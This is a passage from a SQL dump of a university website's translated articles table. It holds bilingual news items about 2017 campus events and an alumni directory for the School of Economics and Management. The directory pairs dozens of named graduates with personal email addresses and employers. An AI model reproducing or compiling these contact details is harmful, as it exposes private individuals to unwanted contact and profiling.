mərasimi” keçiriləcək','2017-ci il mart 3-ü saat 17:00-da Xəzər Universitetinin “Mərmər” zalında universitet rəhbəriliyinin iştirakı...','<p>2017-ci il mart 3-ü saat 17:00-da Xəzər Universitetinin “Mərmər” zalında universitet rəhbəriliyinin iştirakı ilə “Potensial məktəb direktorları” layihəsi\r\nçərçivəsində ənənəvi 5-ci “Məzunluq mərasimi”\r\nkeçiriləcək. </p>\r\n<p>Xəzər Universitetinin bütün əməkdaşları bu tədbirə dəvət olunurlar.</p>'),(3305,1941,'en','Graduation Ceremony for Management Training Course for Potential School Directors at Khazar University','On March 3, 2017, a graduation ceremony will be held to award certificates to participants of the...','<p>On March 3, 2017, a\r\ngraduation ceremony will be held to award certificates to participants\r\nof&nbsp;the fifth iteration of the Management Training Course for Potential\r\nSchool Directors at Khazar University.</p>\r\n<p>&nbsp;Khazar University\r\nfaculty and staff are invited to the ceremony. &nbsp;</p>'),(3306,1942,'az','“Ernst & Young” Xəzər Universitetində olacaq','2017-ci il martın 6-sı saat 15:00-da “Böyük dördlük” audit şirkətlərindən...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il martın 6-sı saat 15:00-da\r\n“Böyük dördlük” audit şirkətlərindən “Ernst &amp; Young” ilə baş tutacaq görüşdə\r\niştirak etməyə dəvət edirik.&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">“Ernst &amp; Young” heyəti ilə görüş işə\r\nmüraciət haqqında məlumatları almaq üçün ən unikal fürsətdir. Seminar\r\nformatında keçiriləcək görüşdə şirkətin insan resursları ofisindən nümayəndələri\r\ntələbələrə işə müraciətdəki səhvlər, uğurlu müsahibənin yolları və korporativ\r\nmühit haqqında məlumat verəcəklər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Maraqlananlar dəvət olunurlar.</p>'),(3307,1940,'en','World Civil Defense Day Celebrated at Khazar University','On February 28, 2017, a ceremony to mark this year’s World Civil Defense Day, which falls on March 1 every year, was held at Khazar University. The ceremony was attended...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nFebruary 28, 2017, a ceremony to mark this year’s World Civil Defense Day,\r\nwhich falls on March 1 every year, was held at Khazar University. The ceremony\r\nwas attended by Mayis Talishkhanov, former Lieutenant Colonel&nbsp;in the\r\nArmy&nbsp;Reserve; Khazar University staff members – Dr. Irada Khalilova, Dr.\r\nElnura Azizova and Parvana Bakhshiyeva.&nbsp; The ceremony was opened by Mayis\r\nTalishkhanov, and a moment of silence was held in honor of Khojali victims.\r\nMayis Talishkhanov spoke about civil defense and emergency situations. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">The\r\ntheme of the World Civil Defense Day varies each year.&nbsp; This year’s topic\r\nis “The Role of Civil Defense in Fight against Disasters”. Students spoke about\r\nThe International Civil Defense Organization, new technologies and their\r\napplications. They also performed artificial respiration and closed&nbsp;chest&nbsp;cardiac\r\nmassage.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">A\r\nshort video about the preparation and coordination of emergencies and civil\r\nprotection activities in Azerbaijan was shown.</p>'),(3516,2069,'en','American Scholar to Hold a Seminar at Khazar University','The lecturer of the seminar to be held on April 17, 2017 at 12.00 P.M (Neftchiler campus...','<p>The lecturer of the seminar to be held on April 17, 2017 at\r\n12.00 P.M (Neftchiler campus, room N. 503, old building) will be Dr. Sam\r\nPotolicchio. Dr. Potolicchio, the professor of the well- known Georgetown\r\nUniversity, visited Baku within the Alumni Speaker Grant program of US Embassy.\r\n&nbsp;Dr. Potolicchio, who specialized in\r\nmanagement, leadership and political communication delivered seminars on the\r\nsame topic in more than 200 universities of the world including Oxford, Yale,\r\nCambridge, Sorbonne, LSE, Brown, Dartmouth, Bologna and Warwick.</p>\r\n<p>The seminar will be on \"Public Speaking\" and it\r\nis going to cover the topics on effective communication skills.</p>\r\n<p>The workshop will be in English. Those who are willing to\r\nparticipate in the seminar could contact Career Development Center or email\r\ncareercenter@khazar.org to confirm their participation.</p>'),(3517,2053,'en','Meeting with a Director of the Center for People with Disabilities','On April 5, Rima Mammadova, coordinator of the Center for Studens with Disabilities met with Pawel Wdowik, director of the Office for Persons with Disabilities while being...','<p>On April 5, Rima\r\nMammadova, coordinator of the Center for Studens with Disabilities met with\r\nPawel Wdowik, director of the Office for Persons with Disabilities while being\r\non a business trip in Warsaw. Druing the meeting visually impairment &nbsp;Pawel Wdowik\r\nspoke about the history of establishment the Office, faced challenges and\r\nachievements. He gave information on provided supports and assistants by the\r\nOffice for Persons with Disabilities. Rima Mammadova also got familair with the\r\nCenter established and provided equipment for students with disabilities.</p>\r\n<p>During the meeting, mutual coopreation was discussed and agreement were\r\nmade.</p>'),(3518,2073,'az','“Xarici dil dərslərində interaktiv təlim metodları” seminarı başa çatdı','2017-ci il aprelin 15-də Xəzər Universitetinin İnkişaf Mərkəsinin və Estoniyanın OÜ Lingatore təşkilatının birgə əməkdaşlığı ilə məşhur “English Language Portfolio” proqramı...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\">2017-ci il aprelin\r\n15-də Xəzər Universitetinin İnkişaf Mərkəsinin və Estoniyanın<em><strong>OÜ Lingatore</strong></em>təşkilatının birgə əməkdaşlığı ilə məşhur “<em>English\r\nLanguage Portfolio</em>” proqramı əsasında “Xarici dil dərslərində interaktiv təlim\r\nmetodları” adlı iki günlük seminar başa çatdı. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\">Qeyd edak ki,\r\nseminar ali və orta məktəblərdə dərs deyən ingilis dili müəllimləri və xarici\r\ndil dərslərinin tədrisi ilə maraqlanan digər şəxslər üçün təşkil olunmuşdu.\r\nSeminarda praktik nümunələr və rollu oyunlar əsasında müəllimlərə konkret,\r\npraktik fəal tədris metodlarının tətbiq edilməsi yolları, müxtəlif mövzulara və\r\nhəmçinin, yaş həddinə uyğunlaşdırılmış fəal tədris metodları və digər metodlar\r\nöyrədildi. Həmçinin, filmlərdən dərs prosesində istifadənin əhəmiyyəti və\r\nyolları göstərildi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\">Seminarda Xəzər\r\nUniversitetinin, digər universitetlərin və liseylərin ingilis dili müəllimləri\r\niştirak etmiş və seminarın sonunda iştirakçılara sertifikatlar təqdim olundu. Həmçinin,\r\nXəzər Universiteti tərəfindən estoniyalı təlimçilərə hədiyyələr verildi və\r\nqonaqlar Xəzər Universitetinin “Dünya” konsert salonunda xalq artisti,\r\nprofessor, tarzən “Ramiz Quliyev ilə üz-üzə” adlı görüş-konsertində iştirak\r\netdilər.&nbsp;</p>'),(3519,2074,'az','Xalq artisti Ramiz Quliyevlə üz-üzə','2017-ci il aprelin 14-də Xəzər Universitetinin “Dünya” konsert salonunda  universitetin “Üz-üzə” layihəsi çərçivəsində Azərbaycan ifaçılıq sənətinin görkəmli simalarından biri, tar...','<p>2017-ci il aprelin 14-də Xəzər Universitetinin “Dünya” konsert\r\nsalonunda &nbsp;universitetin “Üz-üzə” layihəsi\r\nçərçivəsində Azərbaycan ifaçılıq sənətinin görkəmli simalarından biri, tar\r\ndünyasının canlı əfsanəsi, Xalq artisti, professor Ramiz Quliyevin 70 illiyinə\r\nhəsr olunmuş “Səslən, tarım” adlı yaradıcılıq gecəsi keçirildi. </p>\r\n<p>Tədbirin əvvəlində musiqişünas Nərgiz Kərimova sənətkarın həyat və\r\nyaraıcılığını işıqlandırdı. Onun geniş və əhatəli, fotoslaydlarla müşayiət\r\nolunan mühazirəsində Ramiz Quliyevin çoxşaxəli fəaliyyəti bir daha göz önündə\r\ncanlandı. Sonra Xalq artisti Ramiz Quliyev səhnəyə dəvət olundu və konsert\r\nproqramı başlandı. Konsertdə Qara Qarayev, Tofiq Quliyev, Qəmbər Hüseynli,\r\nVasif Adıgözəlov, Sərdar Fərəcov, həmçinin Anton Rubenşteyn, Frans Şubert,\r\nVittorio Monti və Mikis Teodorakisin əsərləri ifa olundu. Qeyd edək ki, Xəzər\r\nUuniversitetinin Kamera orkestrinin müşayiəti ilə keçən konsert öz əsrarəngliyi\r\nilə&nbsp; dinləyicilərin diqqətini cəlb etdi.</p>\r\n<p>Konsert proqramı görkəmli tarzən haqqında filmin nümayişi və\r\nçıxışlarla müşayiət olundu. Asəf Zeynallı adına Musiqi Kollecinin direktoru, Əməkdar\r\nincəsənət xadimi Nazim Kazımov, Xəzər Universitetinin Musiqi və incəsənət\r\ndepartamentinin müdiri, pianoçu, dosent Zülfiyyə Sadıqova, Bəstəkarlar\r\nİttifaqının katibi, Əməkdar incəsənət xadimi Sərdar Fərəcov və Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı çıxış etdilər. N. Kazımov Ramiz Quliyevin ifaçılıq sənətinn\r\nxüsusiyyətləri haqqında danışdı. Z. Sadıqova&nbsp;\r\nRamiz Quliyevlə bağlı &nbsp;xatirələrini\r\ndinləyicilərlə bölüşdü. On beş il öncə təşkilatçılıq etdiyi Ramiz Quliyevin 55\r\nilliyi ilə bağlı yaradıcılıq gecəsini xatırladı və həmin tədbirdən görüntülər təqdim\r\netdi. S. Fərəcov çıxışında Azərbaycan musiqi ifaçılığında &nbsp;Ramiz Quliyevi Üzeyir Hacıbəyli ənənəsinin\r\ndavamçısı kimi səciyyələndirdi. H. İsaxanlı Ramiz Quliyevin geniş diapozona\r\nmalik ifaçılıq sənətinin xarici olkələrdə də tanındığını və yüksək dəyərləndirildiyini\r\nqeyd etdi.</p>\r\n<p>Çıxış edənlər görkəmli sənətkarı yetmiş illik yubileyi münasibətilə təbrik\r\netdilər, ona yeni yaradıcılıq uğurları arzuladılar, təbrik məktubları və gül dəstələri\r\ntəqdim etdilər.</p><p style=\"margin-bottom:.0001pt\">Tədbirin sonunda Xalq artisti Ramiz Quliyev çıxış edərək, onun\r\nyaradıcılıq gecəsinin təşkilinə görə Xəzər Universitetinin rəhbərliyinə və\r\niştirakçılara təşəkkürünü bildirdi.</p><p style=\"margin-bottom:.0001pt\"><br></p>'),(3370,1979,'en','Department of History and Archeology celebrates Novruz holiday','On March 11, 2017, as organized by Saida Izmailova, instructor of Khazar University Department of History and Archaeology and her students majoring in history, a Novruz celebration...','<p>On March 11, 2017, as organized by Saida Izmailova,\r\ninstructor of Khazar University Department of History and Archaeology and her\r\nstudents majoring in history, a Novruz celebration took place at Khazar\r\nUniversity. Slide shows and videos about the holiday were presented by the\r\nstudents. First year international students of the university were also invited\r\nto the party. The Novruz table was decorated in a traditional style.&nbsp; </p>\r\n<p>International students were informed about\r\nAzerbaijani Novruz traditions.&nbsp;</p>'),(3196,1884,'az','“Təhsil və media” konfransı mediada','Xəbər verildiyi kimi, 2017-ci il fevralın 10-da Xəzər Universitetində “Təhsil və media” adlı mövzusunda mətbuat konfransı keçirilmişdir. Moderator.az xəbər saytı tədbirlə...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəbər verildiyi kimi, 2017-ci il\r\nfevralın 10-da Xəzər Universitetində “Təhsil və media” adlı mövzusunda\r\nmətbuat konfransı keçirilmişdir. <strong><em>Moderator.az</em></strong>\r\nxəbər saytı tədbirlə əlaqədar “Başqa Xəzərimiz də varmış, xəbərimiz yox...”\r\nadlı yazı yayınlamışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Yazını bütövlükdə oxumaq üçün bu linkə\r\ndaxil olmaq lazımdır:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.moderator.az/news/168648.html\">http://www.moderator.az/news/168648.html</a>.</p>');
INSERT INTO `articles_translate` (`id`, `articles_id`, `language`, `name`, `summary`, `body`) VALUES (2531,1526,'en','School of Economics and Management','School of Economics and Management','<p><a href=\"#A\">A</a> <a href=\"#B\">B</a>&nbsp;<a href=\"#C\">C</a>&nbsp;<a href=\"#D\">D</a> <a href=\"#E\"> E</a>&nbsp;<a href=\"#F\">F</a> <a href=\"#G\">G</a>&nbsp;<a href=\"#H\">H</a> &nbsp;<a href=\"#İ\">İ</a>&nbsp;<a href=\"#J\">J</a>&nbsp;<a href=\"#K\">K</a> &nbsp;<a href=\"#L\">L</a> <a href=\"#M \">M&nbsp; </a> <a href=\"#N\">N</a> <a href=\"#O\">O</a> <a href=\"#P\">P</a> <a href=\"#R\">R</a> <a href=\"#S \">S</a><a href=\"#Ş \">&nbsp;</a><a href=\"#T \">T </a><a href=\"#U \">U</a>&nbsp;<a href=\"#V\">V</a> <a href=\"#Y\">Y</a> <a href=\"#Z\">Z</a></p><h3 id=\"A\">A</h3><p><strong><span lang=\"AZ-LATIN\" style=\"font-size:13.5pt;line-height:115%\">Agil Nasibli</span></strong><strong></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and Audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:aqilnesib@gmail.com\">agilnesib[at]gmail.com</a></p>\r\n<p>\"Passage 1901\"&nbsp;Restaurant chief\r\naccountant</p>  <p><strong><span lang=\"AZ-LATIN\" style=\"font-size:13.5pt;line-height:115%\"><br></span></strong></p><p><strong><span lang=\"AZ-LATIN\" style=\"font-size:13.5pt;line-height:115%\">Aysel&nbsp;Masiyeva</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance, 2017</p>\r\n<p>E-mail:<strong></strong><a href=\"mailto:aysel.mesiyeva@gmail.com\">aysel.mesiyeva[at]gmail.com</a></p>  <p><strong><span lang=\"AZ-LATIN\" style=\"font-size:13.5pt;line-height:115%\"><br></span></strong></p><p><strong><span lang=\"AZ-LATIN\" style=\"font-size:13.5pt;line-height:115%\">Ali\r\nGasimli</span></strong><strong></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and Audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Gasimli.ali@mail.ru\">Gasimli.ali[at]mail.ru</a></p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ali Aliyev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Business\r\nOrganization and Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Aliyev305000@gmail.com\">Aliyev305000[at]gmail.com</a><strong></strong></p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span lang=\"AZ-LATIN\" style=\"font-size:13.5pt\"><br></span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span lang=\"AZ-LATIN\" style=\"font-size:13.5pt\">Aisha İmanova</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Marketing</p>\r\n<p>E-mail: <a href=\"mailto:aisaaliyeva1994@gmail.com\">aisaaliyeva1994[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Aydan Azizova </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance, 2017</p>\r\n<p>E-mail:<a href=\"mailto:a_aydan_96@mail.ru\">a_aydan_96[at]mail.ru</a></p>\r\n<p>Sinteks MMC&nbsp;</p>  <p><strong><br></strong></p><p><strong>Ayshan Amrahli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Economics, 2017</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:ayshenemrahli@gmail.com\">ayshenemrahli[at]gmail.com</a></p>  <p><strong><br></strong></p><p><strong>Ali Maharram </strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Management, 2017</p><p>E-mail: <a href=\"mailto:ali.maharram1@gmail.com\">ali.maharram1[at]gmail.com</a></p><p><strong><span lang=\"AZ-LATIN\" style=\"font-size:13.5pt;line-height:115%\"><br></span></strong></p><p><strong><span lang=\"AZ-LATIN\" style=\"font-size:13.5pt;line-height:115%\">Anar Aliyev</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Business\r\nOrganization and Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:tulkas94@mail.ru\">tulkas94[at]mail.ru</a></p>  <p><strong><span lang=\"AZ-LATIN\" style=\"font-size:13.5pt;line-height:115%\"><br></span></strong></p><p><strong>Agil Atayev </strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Economics 2017</p>\r\n<p>E-mail: <a href=\"mailto:atayev007@hotmail.com\">atayev007[at]hotmail.com</a></p>  <p><strong><span lang=\"AZ-LATIN\" style=\"font-size:13.5pt;line-height:115%\"><br></span></strong></p><p><strong>Azar Abbasli </strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and Audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:azerkhazar@gmail.com\">azerkhazar[at]gmail.com</a></p>  <p><strong><span lang=\"AZ-LATIN\" style=\"font-size:13.5pt;line-height:115%\"><br></span></strong></p><p><strong>Aida Nematli </strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and Audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:aida_neymetli@mail.ru\">aida_neymetli[at]mail.ru</a></p>  <p><strong><span lang=\"AZ-LATIN\" style=\"font-size:13.5pt;line-height:115%\"><br></span></strong></p><p><strong><span lang=\"AZ-LATIN\" style=\"font-size:13.5pt;line-height:115%\">Anar Mammadov </span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Finance, 2017</p>\r\n<p>E-mail: <a href=\"mailto:mamedov.anar1993@gmail.com\">mamedov.anar1993[at]gmail.com</a></p>\r\n<p>Azerbaijan Industry Bank</p>  <p><strong><br></strong></p><p><strong>Ayaz Babayev </strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p>Marketig,\r\n2017</p>\r\n<p>E-mail: <a href=\"mailto:babayev_ayaz-ceyhunoglu@mail.ru\">babayev_ayaz-ceyhunoglu[at]mail.ru</a></p>  <p><strong><br></strong></p><p><strong>Aysu Cabrayilova </strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Foreign economic activity,\r\n2017</p>\r\n<p>E-mail: <a href=\"mailto:ajabrayilova@gmail.com\">ajabrayilova[at]gmail.com</a></p>\r\n<p>&nbsp;</p><p><strong>Ahmadi Ghulam Dastagir</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finanacial Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:dastagir.ahmadi@gmail.com\">dastagir.ahmadi[at]gmail.com</a></p>\r\n<p>&nbsp;<strong>&nbsp;</strong></p>\r\n<p><strong>Afsana Abdullayeva </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finanacial Management, 2017</p>\r\n<p>E-mail: <a href=\"mailto:efsaneabdullayeva@hotmail.com\">efsaneabdullayeva[at]hotmail.com</a></p><p><br></p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aysel&nbsp;Cumshudova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Saipem Asia, Chief Accountant</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:aysel.jumshudova@saipem.eni.it\">aysel.jumshudova@saipem.eni.it</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong>Aysel Guluyeva</strong></p><p>School of Economics and Management ,&nbsp;Business\r\nAdministration</p><p>The Sector of\r\nTreasury Management System Support of The Treasury Agency of The Ministry of\r\nFinance of The Republic of Azerbaijan, Senior Consultant</p><p>Email:&nbsp;<a href=\"mailto:ayselguluyeva@gmail.com\">ayselguluyeva@gmail.com</a>  <br></p><p>Bachelor 2016 (Honor)&nbsp;</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Adil Akhundov&nbsp;</strong></p><p>School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance\r\n</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Crystal Motors, Sales manager</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:akhoundov@hotmail.fr\">akhoundov@hotmail.fr</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Asim Mikayilov</strong></p><p>International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Quba Engine Ltd, Senior sales representative</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:mixaylo_87@mail.ru\">mixaylo_87@mail.ru</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:mixaylo_87@mail.ru\"></a>Bachelor 2009</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aynur Guluyeva</strong></p><p>School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance\r\n</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aydan Rahimova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance\r\n</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Unibank</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:a_raqimova@hotmail.com\">a_raqimova@hotmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:a_raqimova@hotmail.com\"></a>Bachelor 2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aysel Aghayeva</strong>&nbsp;</p><p>Business Administration</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Finance Corporation (IFC), Team assistant</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:aaghayeva@gmail.com\">aaghayeva@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Afag Gahramanova&nbsp;</strong></p><p>Business Administration</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:afaq.q.@rambler.ru\">afaq.q.@rambler.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2011 &nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aynura Alakbarova&nbsp;</strong></p><p>International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:aynura_alakbarova@hotmail.com\">aynura_alakbarova@hotmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:aynura_alakbarova@hotmail.com\"></a>Bachelor 2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Azer Huseynov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance\r\n</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:azer_n_994@hotmail.com\">azer_n_994@hotmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:azer_n_994@hotmail.com\"></a>Bachelor 2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Afag Khudaverdiyeva&nbsp;</strong></p><p>School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance\r\n</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Central Bank of AR, Risk department</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:akhudaverdiyeva@mail.ru\">akhudaverdiyeva@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Azer Shiriyev&nbsp;</strong></p><p>International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Cyprus</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aynura Abbasova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:aynure-abbasova@yahoo.com\">aynure-abbasova@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 